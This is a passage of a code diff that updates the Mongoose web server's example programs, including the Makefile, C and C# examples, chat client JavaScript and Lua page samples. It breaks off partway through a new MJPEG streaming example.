-CFLAGS  = -W -Wall -I.. -pthread -g -pipe $(COPT)
+CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
-DLL_FLAGS = -DLUA_COMPAT_ALL -I../build
+RM = rm -rf
+OUT = -o $@
 
 ifeq ($(OS),Windows_NT)
+  MSVC = ../../vc6
+  RM = del /q /f
+  OUT =
+  CC = $(MSVC)/bin/cl
+  CFLAGS = /MD /TC /nologo /W3 /I$(MSVC)/include /I..
+  CFLAGS += /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
+  CFLAGS += $(CFLAGS_EXTRA)
 else
   UNAME_S := $(shell uname -s)
-  DLL_FLAGS += -shared
 
   ifeq ($(UNAME_S),Linux)
     CFLAGS += -ldl
   endif
 
   ifeq ($(UNAME_S),Darwin)
-    #  DLL_FLAGS += -bundle -undefined dynamic_lookup -dynamiclib
-    DLL_FLAGS += -flat_namespace -undefined suppress -dynamiclib
   endif
 endif
 
-all: hello upload post websocket chat
+all: hello websocket server post multi_threaded upload auth
 
-hello:
+# To enable Lua in a server, uncomment following lines
-	$(CC) hello.c ../mongoose.c  -o $@ $(CFLAGS)
+LUA    = ../lua-5.2.3/src
+#CFLAGS += -I$(LUA) -L$(LUA) -llua -DMONGOOSE_USE_LUA
 
-upload:
+server: server.c ../mongoose.c
-	$(CC) upload.c ../mongoose.c -o $@ $(CFLAGS)
+	$(CC) server.c ../mongoose.c $(OUT)  $(CFLAGS)
 
-post:
+hello: hello.c ../mongoose.c
-	$(CC) post.c ../mongoose.c -o $@ $(CFLAGS)
+	$(CC) hello.c ../mongoose.c $(OUT) $(CFLAGS)
 
-websocket:
+websocket: websocket_html.c websocket.c ../mongoose.c
-	$(CC) -DUSE_WEBSOCKET websocket.c ../mongoose.c -o $@ $(CFLAGS)
+	$(CC) websocket.c websocket_html.c ../mongoose.c $(OUT)  $(CFLAGS)
 
-chat:
+post: post.c ../mongoose.c
-	$(CC) chat.c ../mongoose.c -o $@ $(CFLAGS)
+	$(CC) post.c ../mongoose.c $(OUT) $(CFLAGS)
 
-lua_dll:
+multi_threaded: multi_threaded.c ../mongoose.c
-	$(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS)
+	$(CC) multi_threaded.c ../mongoose.c $(OUT) $(CFLAGS)
+
+upload: upload.c ../mongoose.c
+	$(CC) upload.c ../mongoose.c $(OUT) $(CFLAGS)
+
+auth: auth.c ../mongoose.c
+	$(CC) auth.c ../mongoose.c $(OUT) $(CFLAGS)
+
+mjpg: mjpg.c ../mongoose.c
+	$(CC) mjpg.c ../mongoose.c $(OUT) $(CFLAGS)
 
 
-MSVC    = ../../vc6
+websocket_html.c: websocket.html
-CL      = $(MSVC)/bin/cl
+	perl mkdata.pl $< > $@
-CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \
-        /I$(MSVC)/include /I.. /Dsnprintf=_snprintf
-LFLAGS  = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
 
-windows:
+u:
-	$(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
+	g++ unit_test.c -Wall -W -pedantic -lssl -g -O0 $(CFLAGS_EXTRA) && ./a.out
-	$(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-	$(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-	$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-	$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-	$(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-#$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll
 
 clean:
-	rm -rf hello upload post websocket chat *.exe *.dSYM *.obj .*o
+	-@$(RM) hello mjpg upload post websocket auth server multi_threaded websocket_html.c *.exe *.dSYM *.obj .*o

examples/auth.c

@@ -0,0 +1,36 @@
+#include <stdio.h>
+#include <string.h>
+#include "mongoose.h"
+
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
+
+  if (ev == MG_AUTH) {
+    int result = MG_FALSE; // Not authorized
+    FILE *fp;
+
+    // To populate passwords file, do
+    // mongoose -A my_passwords.txt mydomain.com admin admin
+    if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
+      result = mg_authorize_digest(conn, fp);
+      fclose(fp);
+    }
+
+    return result;
+  }
+
+  return MG_FALSE;
+}
+
+int main(void) {
+  struct mg_server *server = mg_create_server(NULL, ev_handler);
+  mg_set_option(server, "listening_port", "8080");
+  mg_set_option(server, "document_root", ".");
+
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
+  for (;;) {
+    mg_poll_server(server, 1000);
+  }
+  mg_destroy_server(&server);
+
+  return 0;
+}

examples/c#/example.cs

@@ -0,0 +1,37 @@
+// This file is part of mongoose web server project,
+// https://github.com/cesanta/mongoose
+
+using System;
+using System.Runtime.InteropServices;
+
+public class Program {
+  static private int EventHandler(MongooseEvent ev) {
+    if (ev.type != 1) {
+      return 0; // Mark as unhandled
+    }
+
+    MongooseRequestInfo request_info = (MongooseRequestInfo)
+      Marshal.PtrToStructure(ev.request_info, typeof(MongooseRequestInfo));
+
+    if (request_info.uri != "/test") {
+      return 0; // Mark as unhandled
+    }
+
+    Mongoose.write(ev.conn, "HTTP/1.1 200 OK\r\n\r\n");
+    Mongoose.write(ev.conn, "Hello from C#!\n");
+
+    return 1; // Mark as handled
+  }
+
+  static void Main() {
+    Mongoose web_server = new Mongoose(".", "9000",
+        new MongooseEventHandler(EventHandler));
+
+    Console.WriteLine("Mongoose v." + web_server.version_ + " started.");
+    Console.WriteLine("Press enter to exit program.");
+
+    // Serve requests until user presses "enter" on a keyboard
+    Console.ReadLine();
+    web_server.stop();
+  }
+}

examples/c#/mongoose.cs

@@ -0,0 +1,93 @@
+// This file is part of mongoose web server project,
+// https://github.com/cesanta/mongoose
+
+using System;
+using System.Runtime.InteropServices;
+
+[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
+  [MarshalAs(UnmanagedType.LPTStr)] public IntPtr name;
+  [MarshalAs(UnmanagedType.LPTStr)] public IntPtr value;
+};
+
+// mongoose.h :: struct mg_request_info
+[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
+  [MarshalAs(UnmanagedType.LPTStr)] public string request_method;
+  [MarshalAs(UnmanagedType.LPTStr)] public string uri;
+  [MarshalAs(UnmanagedType.LPTStr)] public string http_version;
+  [MarshalAs(UnmanagedType.LPTStr)] public string query_string;
+  [MarshalAs(UnmanagedType.LPTStr)] public string remote_user;
+  public int remote_ip;
+  public int remote_port;
+  public int is_ssl;
+  [MarshalAs(UnmanagedType.ByValArray,SizeConst=64)]
+    public MongooseHeader[] http_headers;
+};
+
+[StructLayout(LayoutKind.Sequential)] public struct MongooseEvent {
+  public int type;
+  public IntPtr user_data;
+  public IntPtr conn_data;
+  public IntPtr event_param;
+  public IntPtr conn;
+  public IntPtr request_info;
+};
+
+public delegate int MongooseEventHandlerN(ref MongooseEvent ev);
+public delegate int MongooseEventHandler(MongooseEvent ev);
+
+public class Mongoose {
+  public const string dll_name_ = "mongoose";
+  public string version_ = "??";
+
+  // These are here to store a ref to the callbacks
+  // while they are over in unmanaged code, to prevent garbage collection.
+  private event MongooseEventHandlerN delegates;
+
+  private IntPtr ctx_;
+
+  [DllImport(dll_name_)] private static extern
+    IntPtr mg_start([MarshalAs(UnmanagedType.LPArray,
+                     ArraySubType=UnmanagedType.LPTStr)] string[] options,
+                    MongooseEventHandlerN callback,
+                    IntPtr user_data);
+  [DllImport(dll_name_)] private static extern void mg_stop(IntPtr ctx);
+  [DllImport(dll_name_)] private static extern IntPtr mg_version();
+  [DllImport(dll_name_)] public static extern int mg_write(IntPtr conn,
+      string data, int length);
+
+  public Mongoose(string document_root,
+                  string listening_ports,
+                  MongooseEventHandler event_handler) {
+    version_ = Marshal.PtrToStringAnsi(mg_version());
+
+    string[] options = {
+      "document_root", document_root,
+      "listening_ports", listening_ports,
+      null
+    };
+
+    MongooseEventHandlerN cb = delegate(ref MongooseEvent ev) {
+      return event_handler(ev);
+    };
+
+    // Prevent garbage collection
+    delegates += cb;
+
+    ctx_ = mg_start(options, cb, IntPtr.Zero);
+  }
+
+  public static int write(IntPtr conn, string data) {
+    return mg_write(conn, data, data.Length);
+  }
+
+  public void stop() {
+    if (this.ctx_ != IntPtr.Zero) {
+      mg_stop(this.ctx_);
+    }
+    this.ctx_ = IntPtr.Zero;
+  }
+
+  ~Mongoose() {
+    stop();
+  }
+}

examples/chat.c

@@ -1,385 +1,15 @@
-// This file is part of the Mongoose project, http://code.google.com/p/mongoose
-// It implements an online chat server. For more details,
-// see the documentation on the project web site.
-// To test the application,
-// 1. type "make" in the directory where this file lives
-// 2. point your browser to http://127.0.0.1:8081
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <assert.h>
-#include <string.h>
-#include <time.h>
-#include <stdarg.h>
-#include <pthread.h>
-
 #include "mongoose.h"
 
-#define MAX_USER_LEN  20
-#define MAX_MESSAGE_LEN  100
-#define MAX_MESSAGES 5
-#define MAX_SESSIONS 2
-#define SESSION_TTL 120
-
-static const char *authorize_url = "/authorize";
-static const char *login_url = "/login.html";
-static const char *ajax_reply_start =
-  "HTTP/1.1 200 OK\r\n"
-  "Cache: no-cache\r\n"
-  "Content-Type: application/x-javascript\r\n"
-  "\r\n";
-
-// Describes single message sent to a chat. If user is empty (0 length),
-// the message is then originated from the server itself.
-struct message {
-  long id;                     // Message ID
-  char user[MAX_USER_LEN];     // User that have sent the message
-  char text[MAX_MESSAGE_LEN];  // Message text
-  time_t timestamp;            // Message timestamp, UTC
-};
-
-// Describes web session.
-struct session {
-  char session_id[33];      // Session ID, must be unique
-  char random[20];          // Random data used for extra user validation
-  char user[MAX_USER_LEN];  // Authenticated user
-  time_t expire;            // Expiration timestamp, UTC
-};
-
-static struct message messages[MAX_MESSAGES];  // Ringbuffer for messages
-static struct session sessions[MAX_SESSIONS];  // Current sessions
-static long last_message_id;
-
-// Protects messages, sessions, last_message_id
-static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
-
-// Get session object for the connection. Caller must hold the lock.
-static struct session *get_session(const struct mg_connection *conn) {
-  int i;
-  const char *cookie = mg_get_header(conn, "Cookie");
-  char session_id[33];
-  time_t now = time(NULL);
-  mg_get_cookie(cookie, "session", session_id, sizeof(session_id));
-  for (i = 0; i < MAX_SESSIONS; i++) {
-    if (sessions[i].expire != 0 &&
-        sessions[i].expire > now &&
-        strcmp(sessions[i].session_id, session_id) == 0) {
-      break;
-    }
-  }
-  return i == MAX_SESSIONS ? NULL : &sessions[i];
-}
-
-static void get_qsvar(const struct mg_request_info *request_info,
-                      const char *name, char *dst, size_t dst_len) {
-  const char *qs = request_info->query_string;
-  mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
-}
-
-// Get a get of messages with IDs greater than last_id and transform them
-// into a JSON string. Return that string to the caller. The string is
-// dynamically allocated, caller must free it. If there are no messages,
-// NULL is returned.
-static char *messages_to_json(long last_id) {
-  const struct message *message;
-  int max_msgs, len;
-  char buf[sizeof(messages)];  // Large enough to hold all messages
-
-  // Read-lock the ringbuffer. Loop over all messages, making a JSON string.
-  pthread_rwlock_rdlock(&rwlock);
-  len = 0;
-  max_msgs = sizeof(messages) / sizeof(messages[0]);
-  // If client is too far behind, return all messages.
-  if (last_message_id - last_id > max_msgs) {
-    last_id = last_message_id - max_msgs;
-  }
-  for (; last_id < last_message_id; last_id++) {
-    message = &messages[last_id % max_msgs];
-    if (message->timestamp == 0) {
-      break;
-    }
-    // buf is allocated on stack and hopefully is large enough to hold all
-    // messages (it may be too small if the ringbuffer is full and all
-    // messages are large. in this case asserts will trigger).
-    len += snprintf(buf + len, sizeof(buf) - len,
-        "{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
-        message->user, message->text, message->timestamp, message->id);
-    assert(len > 0);
-    assert((size_t) len < sizeof(buf));
-  }
-  pthread_rwlock_unlock(&rwlock);
-
-  return len == 0 ? NULL : strdup(buf);
-}
-
-// If "callback" param is present in query string, this is JSONP call.
-// Return 1 in this case, or 0 if "callback" is not specified.
-// Wrap an output in Javascript function call.
-static int handle_jsonp(struct mg_connection *conn,
-                        const struct mg_request_info *request_info) {
-  char cb[64];
-
-  get_qsvar(request_info, "callback", cb, sizeof(cb));
-  if (cb[0] != '\0') {
-    mg_printf(conn, "%s(", cb);
-  }
-
-  return cb[0] == '\0' ? 0 : 1;
-}
-
-// A handler for the /ajax/get_messages endpoint.
-// Return a list of messages with ID greater than requested.
-static void ajax_get_messages(struct mg_connection *conn,
-                              const struct mg_request_info *request_info) {
-  char last_id[32], *json;
-  int is_jsonp;
-
-  mg_printf(conn, "%s", ajax_reply_start);
-  is_jsonp = handle_jsonp(conn, request_info);
-
-  get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
-  if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
-    mg_printf(conn, "[%s]", json);
-    free(json);
-  }
-
-  if (is_jsonp) {
-    mg_printf(conn, "%s", ")");
-  }
-}
-
-// Allocate new message. Caller must hold the lock.
-static struct message *new_message(void) {
-  static int size = sizeof(messages) / sizeof(messages[0]);
-  struct message *message = &messages[last_message_id % size];
-  message->id = last_message_id++;
-  message->timestamp = time(0);
-  return message;
-}
-
-static void my_strlcpy(char *dst, const char *src, size_t len) {
-  strncpy(dst, src, len);
-  dst[len - 1] = '\0';
-}
-
-// A handler for the /ajax/send_message endpoint.
-static void ajax_send_message(struct mg_connection *conn,
-                              const struct mg_request_info *request_info) {
-  struct message *message;
-  struct session *session;
-  char text[sizeof(message->text) - 1];
-  int is_jsonp;
-
-  mg_printf(conn, "%s", ajax_reply_start);
-  is_jsonp = handle_jsonp(conn, request_info);
-
-  get_qsvar(request_info, "text", text, sizeof(text));
-  if (text[0] != '\0') {
-    // We have a message to store. Write-lock the ringbuffer,
-    // grab the next message and copy data into it.
-    pthread_rwlock_wrlock(&rwlock);
-    message = new_message();
-    // TODO(lsm): JSON-encode all text strings
-    session = get_session(conn);
-    assert(session != NULL);
-    my_strlcpy(message->text, text, sizeof(text));
-    my_strlcpy(message->user, session->user, sizeof(message->user));
-    pthread_rwlock_unlock(&rwlock);
-  }
-
-  mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
-
-  if (is_jsonp) {
-    mg_printf(conn, "%s", ")");
-  }
-}
-
-// Redirect user to the login form. In the cookie, store the original URL
-// we came from, so that after the authorization we could redirect back.
-static void redirect_to_login(struct mg_connection *conn,
-                              const struct mg_request_info *request_info) {
-  mg_printf(conn, "HTTP/1.1 302 Found\r\n"
-      "Set-Cookie: original_url=%s\r\n"
-      "Location: %s\r\n\r\n",
-      request_info->uri, login_url);
-}
-
-// Return 1 if username/password is allowed, 0 otherwise.
-static int check_password(const char *user, const char *password) {
-  // In production environment we should ask an authentication system
-  // to authenticate the user.
-  // Here however we do trivial check that user and password are not empty
-  return (user[0] && password[0]);
-}
-
-// Allocate new session object
-static struct session *new_session(void) {
-  int i;
-  time_t now = time(NULL);
-  pthread_rwlock_wrlock(&rwlock);
-  for (i = 0; i < MAX_SESSIONS; i++) {
-    if (sessions[i].expire == 0 || sessions[i].expire < now) {
-      sessions[i].expire = time(0) + SESSION_TTL;
-      break;
-    }
-  }
-  pthread_rwlock_unlock(&rwlock);
-  return i == MAX_SESSIONS ? NULL : &sessions[i];
-}
-
-// Generate session ID. buf must be 33 bytes in size.
-// Note that it is easy to steal session cookies by sniffing traffic.
-// This is why all communication must be SSL-ed.
-static void generate_session_id(char *buf, const char *random,
-                                const char *user) {
-  mg_md5(buf, random, user, NULL);
-}
-
-static void send_server_message(const char *fmt, ...) {
-  va_list ap;
-  struct message *message;
-
-  pthread_rwlock_wrlock(&rwlock);
-  message = new_message();
-  message->user[0] = '\0';  // Empty user indicates server message
-  va_start(ap, fmt);
-  vsnprintf(message->text, sizeof(message->text), fmt, ap);
-  va_end(ap);
-
-  pthread_rwlock_unlock(&rwlock);
-}
-
-// A handler for the /authorize endpoint.
-// Login page form sends user name and password to this endpoint.
-static void authorize(struct mg_connection *conn,
-                      const struct mg_request_info *request_info) {
-  char user[MAX_USER_LEN], password[MAX_USER_LEN];
-  struct session *session;
-
-  // Fetch user name and password.
-  get_qsvar(request_info, "user", user, sizeof(user));
-  get_qsvar(request_info, "password", password, sizeof(password));
-
-  if (check_password(user, password) && (session = new_session()) != NULL) {
-    // Authentication success:
-    //   1. create new session
-    //   2. set session ID token in the cookie
-    //   3. remove original_url from the cookie - not needed anymore
-    //   4. redirect client back to the original URL
-    //
-    // The most secure way is to stay HTTPS all the time. However, just to
-    // show the technique, we redirect to HTTP after the successful
-    // authentication. The danger of doing this is that session cookie can
-    // be stolen and an attacker may impersonate the user.
-    // Secure application must use HTTPS all the time.
-    my_strlcpy(session->user, user, sizeof(session->user));
-    snprintf(session->random, sizeof(session->random), "%d", rand());
-    generate_session_id(session->session_id, session->random, session->user);
-    send_server_message("<%s> joined", session->user);
-    mg_printf(conn, "HTTP/1.1 302 Found\r\n"
-        "Set-Cookie: session=%s; max-age=3600; http-only\r\n"  // Session ID
-        "Set-Cookie: user=%s\r\n"  // Set user, needed by Javascript code
-        "Set-Cookie: original_url=/; max-age=0\r\n"  // Delete original_url
-        "Location: /\r\n\r\n",
-        session->session_id, session->user);
-  } else {
-    // Authentication failure, redirect to login.
-    redirect_to_login(conn, request_info);
-  }
-}
-
-// Return 1 if request is authorized, 0 otherwise.
-static int is_authorized(const struct mg_connection *conn,
-                         const struct mg_request_info *request_info) {
-  struct session *session;
-  char valid_id[33];
-  int authorized = 0;
-
-  // Always authorize accesses to login page and to authorize URI
-  if (!strcmp(request_info->uri, login_url) ||
-      !strcmp(request_info->uri, authorize_url)) {
-    return 1;
-  }
-
-  pthread_rwlock_rdlock(&rwlock);
-  if ((session = get_session(conn)) != NULL) {
-    generate_session_id(valid_id, session->random, session->user);
-    if (strcmp(valid_id, session->session_id) == 0) {
-      session->expire = time(0) + SESSION_TTL;
-      authorized = 1;
-    }
-  }
-  pthread_rwlock_unlock(&rwlock);
-
-  return authorized;
-}
-
-static void redirect_to_ssl(struct mg_connection *conn,
-                            const struct mg_request_info *request_info) {
-  const char *p, *host = mg_get_header(conn, "Host");
-  if (host != NULL && (p = strchr(host, ':')) != NULL) {
-    mg_printf(conn, "HTTP/1.1 302 Found\r\n"
-              "Location: https://%.*s:8082/%s:8082\r\n\r\n",
-              (int) (p - host), host, request_info->uri);
-  } else {
-    mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
-  }
-}
-
-static int begin_request_handler(struct mg_connection *conn) {
-  const struct mg_request_info *request_info = mg_get_request_info(conn);
-  int processed = 1;
-
-  if (!request_info->is_ssl) {
-    redirect_to_ssl(conn, request_info);
-  } else if (!is_authorized(conn, request_info)) {
-    redirect_to_login(conn, request_info);
-  } else if (strcmp(request_info->uri, authorize_url) == 0) {
-    authorize(conn, request_info);
-  } else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
-    ajax_get_messages(conn, request_info);
-  } else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
-    ajax_send_message(conn, request_info);
-  } else {
-    // No suitable handler found, mark as not processed. Mongoose will
-    // try to serve the request.
-    processed = 0;
-  }
-  return processed;
-}
-
-static const char *options[] = {
-  "document_root", "html",
-  "listening_ports", "8081,8082s",
-  "ssl_certificate", "ssl_cert.pem",
-  "num_threads", "5",
-  NULL
-};
-
 int main(void) {
-  struct mg_callbacks callbacks;
+  struct mg_server *server = mg_create_server(NULL);
-  struct mg_context *ctx;
+  mg_set_option(server, "listening_port", "8080");
+  mg_set_option(server, "document_root", "chat_html_root");
 
-  // Initialize random number generator. It will be used later on for
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
-  // the session identifier creation.
+  for (;;) {
-  srand((unsigned) time(0));
+    mg_poll_server(server, 1000);
-
-  // Setup and start Mongoose
-  memset(&callbacks, 0, sizeof(callbacks));
-  callbacks.begin_request = begin_request_handler;
-  if ((ctx = mg_start(&callbacks, NULL, options)) == NULL) {
-    printf("%s\n", "Cannot start chat server, fatal exit");
-    exit(EXIT_FAILURE);
   }
+  mg_destroy_server(&server);
 
-  // Wait until enter is pressed, then exit
+  return 0;
-  printf("Chat server started on ports %s, press enter to quit.\n",
-         mg_get_option(ctx, "listening_ports"));
-  getchar();
-  mg_stop(ctx);
-  printf("%s\n", "Chat server stopped.");
-
-  return EXIT_SUCCESS;
 }
-
-// vim:ts=2:sw=2:et

examples/chat_server/web_root/main.js

@@ -3,7 +3,7 @@
 var chat = {
   // Backend URL, string.
   // 'http://backend.address.com' or '' if backend is the same as frontend
-  backendUrl: '',
+  backendUrl: 'api.lp',
   maxVisibleMessages: 10,
   errorMessageFadeOutTimeoutMs: 2000,
   errorMessageFadeOutTimer: null,
@@ -20,7 +20,7 @@ chat.refresh = function(data) {
   if (data === undefined) {
     return;
   }
-  
+
   $.each(data, function(index, entry) {
     var row = $('<div>').addClass('message-row').appendTo('#mml');
     var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
@@ -49,9 +49,7 @@ chat.refresh = function(data) {
 
 chat.getMessages = function(enter_loop) {
   $.ajax({
-    dataType: 'jsonp',
+    data: {last_id: chat.lastMessageId, cmd: 'get_messages'},
-    url: chat.backendUrl + '/ajax/get_messages',
-    data: {last_id: chat.lastMessageId},
     success: chat.refresh,
     error: function() {
     },
@@ -82,9 +80,7 @@ chat.handleMessageInput = function(ev) {
     return;
   //input.disabled = true;
   $.ajax({
-    dataType: 'jsonp',
+    data: { text: input.value, cmd: 'send_message' },
-    url: chat.backendUrl + '/ajax/send_message',
-    data: {text: input.value},
     success: function(ev) {
       input.value = '';
       input.disabled = false;
@@ -98,6 +94,10 @@ chat.handleMessageInput = function(ev) {
 };
 
 $(document).ready(function() {
+  $.ajaxSetup({
+    dataType: 'json',
+    url: chat.backendUrl
+  });
   $('.menu-item').click(chat.handleMenuItemClick);
   $('.message-input').keypress(chat.handleMessageInput);
   chat.getMessages(true);

examples/file.c

@@ -0,0 +1,47 @@
+#include <stdio.h>
+#include <string.h>
+#include "mongoose.h"
+
+
+static int index_html(struct mg_connection *conn) {
+  FILE *fp = (FILE *) conn->connection_param;
+  char buf[200];
+  size_t n = 0;
+
+  if (fp == NULL) {
+    fp = fopen("../mongoose.c", "r");
+    conn->connection_param = (void *) fp;
+  }
+
+  if (fp != NULL) {
+    n = fread(buf, 1, sizeof(buf), fp);
+    mg_send_data(conn, buf, n);
+
+    if (n < sizeof(buf) || conn->wsbits != 0) {
+      fclose(fp);
+      conn->connection_param = NULL;
+    }
+  }
+
+  return n < sizeof(buf) ? MG_REQUEST_PROCESSED : MG_REQUEST_CALL_AGAIN;
+}
+
+int main(void) {
+  struct mg_server *server;
+
+  // Create and configure the server
+  server = mg_create_server(NULL);
+  mg_set_option(server, "listening_port", "8080");
+  mg_set_request_handler(server, index_html);
+
+  // Serve request. Hit Ctrl-C to terminate the program
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
+  for (;;) {
+    mg_poll_server(server, 1000);
+  }
+
+  // Cleanup, and free server instance
+  mg_destroy_server(&server);
+
+  return 0;
+}

examples/hello.c

@@ -2,50 +2,34 @@
 #include <string.h>
 #include "mongoose.h"
 
-// This function will be called by mongoose on every new request.
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
-static int begin_request_handler(struct mg_connection *conn) {
+  int result = MG_FALSE;
-  const struct mg_request_info *request_info = mg_get_request_info(conn);
-  char content[100];
 
-  // Prepare the message we're going to send
+  if (ev == MG_REQUEST) {
-  int content_length = snprintf(content, sizeof(content),
+    mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
-                                "Hello from mongoose! Remote port: %d",
+    result = MG_TRUE;
-                                request_info->remote_port);
+  } else if (ev == MG_AUTH) {
+    result = MG_TRUE;
+  }
 
-  // Send HTTP reply to the client
+  return result;
-  mg_printf(conn,
-            "HTTP/1.1 200 OK\r\n"
-            "Content-Type: text/plain\r\n"
-            "Content-Length: %d\r\n"        // Always set Content-Length
-            "\r\n"
-            "%s",
-            content_length, content);
-
-  // Returning non-zero tells mongoose that our function has replied to
-  // the client, and mongoose should not send client any more data.
-  return 1;
 }
 
 int main(void) {
-  struct mg_context *ctx;
+  struct mg_server *server;
-  struct mg_callbacks callbacks;
 
-  // List of options. Last element must be NULL.
+  // Create and configure the server
-  const char *options[] = {"listening_ports", "8080", NULL};
+  server = mg_create_server(NULL, ev_handler);
+  mg_set_option(server, "listening_port", "8080");
 
-  // Prepare callbacks structure. We have only one callback, the rest are NULL.
+  // Serve request. Hit Ctrl-C to terminate the program
-  memset(&callbacks, 0, sizeof(callbacks));
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
-  callbacks.begin_request = begin_request_handler;
+  for (;;) {
+    mg_poll_server(server, 1000);
+  }
 
-  // Start the web server.
+  // Cleanup, and free server instance
-  ctx = mg_start(&callbacks, NULL, options);
+  mg_destroy_server(&server);
-
-  // Wait until user hits "enter". Server is running in separate thread.
-  // Navigating to http://localhost:8080 will invoke begin_request_handler().
-  getchar();
-
-  // Stop the server.
-  mg_stop(ctx);
 
   return 0;
 }

examples/jni/Android.mk

@@ -0,0 +1,12 @@
+LOCAL_PATH := $(call my-dir)/../..
+include $(CLEAR_VARS)
+
+# To build with lua support, uncomment two lines below:
+#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
+#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
+
+LOCAL_CFLAGS    := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
+LOCAL_MODULE    := mongoose
+LOCAL_SRC_FILES := examples/server.c mongoose.c $(LUA_SOURCES)
+
+include $(BUILD_EXECUTABLE)

examples/lua/dirscan.lp

@@ -0,0 +1,15 @@
+HTTP/1.0 200 OK
+Content-Type: text/plain
+
+<?
+  -- Directory scanning example
+
+  function scandir(dir)
+    local t = {}
+    for f in io.popen('dir ' .. dir):lines() do table.insert(t, f) end
+    return t
+  end
+
+  local tab = scandir('C:\\')
+  for k,v in pairs(tab) do mg.write(v, '\n') end
+?>

examples/lua/prime_numbers.lp

@@ -23,24 +23,20 @@ Content-Type: text/html
  <p>Reading POST data from Lua (click submit):</p>
  <form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
 
- <pre>
+<pre>
-   POST data: [<?
+POST data: [<?  mg.write(mg.request_info.content) ?>]
-      local post_data = ''
+request method: [<? mg.write(mg.request_info.request_method) ?>]
-      if mg.request_info.request_method == 'POST' then
+IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
-        post_data = mg.read()
+                    mg.request_info.remote_port) ?>]
-      end
+URI: [<? mg.write(mg.request_info.uri) ?>]
-      mg.write(post_data)
+HTTP version [<? mg.write(mg.request_info.http_version) ?>]
-    ?>]
+Content Len: [<? mg.write(mg.request_info.content_len) ?>]
-   request method: [<? mg.write(mg.request_info.request_method) ?>]
+HEADERS:
-   IP/port: [<? mg.write(mg.request_info.remote_ip, ':',
+<?
-                         mg.request_info.remote_port) ?>]
+ for name, value in pairs(mg.request_info.http_headers) do
-   URI: [<? mg.write(mg.request_info.uri) ?>]
+   mg.write(name, ':', value, '\n')
-   HTTP version [<? mg.write(mg.request_info.http_version) ?>]
+ end
-   HEADERS:
+?>
-   <?
+
-     for name, value in pairs(mg.request_info.http_headers) do
-       mg.write(name, ':', value, '\n')
-     end
-   ?>
 </pre>
 </html>

examples/lua_dll.c

@@ -1,5 +1,5 @@
 #include <stdio.h>
-#include "lua-5.2.1.h"
+#include "lua_5.2.1.h"
 
 static int smile(lua_State *L) {
   (void) L;  // Unused

examples/mjpg.c

@@ -0,0 +1,94 @@
+#include <sys/stat.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+#include "mongoose.h"
+
+static void send_file(struct mg_connection *conn, const char *path) {
+  char buf[1024];
+  struct stat st;
+  int n;
+  FILE *fp;
+
+  if (stat(path, &st) == 0 && (fp = fopen(path, "rb")) != NULL) {
+    mg_printf(conn, "--myboundary\r\nContent-Type: image/jpeg\r\n"
+              "Content-Length: %zu\r\n\r\n", st.st_size);
+    while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
+      mg_write(conn, buf, n);
+    }
+    fclose(fp);
+    mg_write(conn, "\r\n", 2);
+  }
+}
+
+struct conn_state {
+  int file_index;
+  time_t last_poll;
+};
+
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
+  const char **file_names = (const char **) conn->server_param;
+  struct conn_state *state;
+  int result = MG_FALSE;
+
+  if (ev == MG_REQUEST) {
+    mg_printf(conn, "%s",
+              "HTTP/1.0 200 OK\r\n" "Cache-Control: no-cache\r\n"
+              "Pragma: no-cache\r\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\r\n"
+              "Connection: close\r\nContent-Type: multipart/x-mixed-replace; "
+              "boundary=--myboundary\r\n\r\n");
+
+    send_file(conn, file_names[0]);
+
+    state = (struct conn_state *) malloc(sizeof(*state));
+    conn->connection_param = state;
+    state->file_index = 1;  // First file is already sent
+    state->last_poll = time(NULL);
